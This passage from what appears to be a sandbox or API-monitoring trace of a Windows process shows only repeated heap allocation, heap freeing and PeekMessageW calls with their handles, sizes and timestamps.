RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0136.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0136.308] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0136.308] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0136.308] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0136.308] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.309] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0136.309] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0136.310] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0136.311] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0136.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0136.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0136.311] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0136.312] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf898 [0136.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0136.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0136.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf898 | out: hHeap=0xe80000) returned 1 [0136.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0136.312] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0136.313] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0136.313] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0136.314] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0136.315] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0136.315] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0136.316] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0136.316] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0136.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0136.317] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0136.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0136.317] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9a8 [0136.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2450 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0136.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.318] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.318] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0136.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0136.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0136.319] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0136.320] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0136.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0136.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.320] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.321] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0136.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.321] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.321] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf898 [0136.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf898 | out: hHeap=0xe80000) returned 1 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0136.322] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0136.322] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0136.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0136.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.322] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.323] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0136.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0136.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0136.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0136.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.324] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.324] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0136.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0136.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0136.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0136.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0136.325] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0136.325] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0136.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0136.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0136.326] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0136.326] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf978 [0136.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0136.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0136.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0136.327] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0136.327] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0136.327] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.328] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9d8 [0136.328] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0136.328] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.328] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.328] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0136.328] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9d8 | out: hHeap=0xe80000) returned 1 [0136.328] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0136.328] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0136.329] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.329] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.329] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0136.329] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0136.330] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.330] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.330] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0136.330] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0136.330] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.330] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0136.330] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.331] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 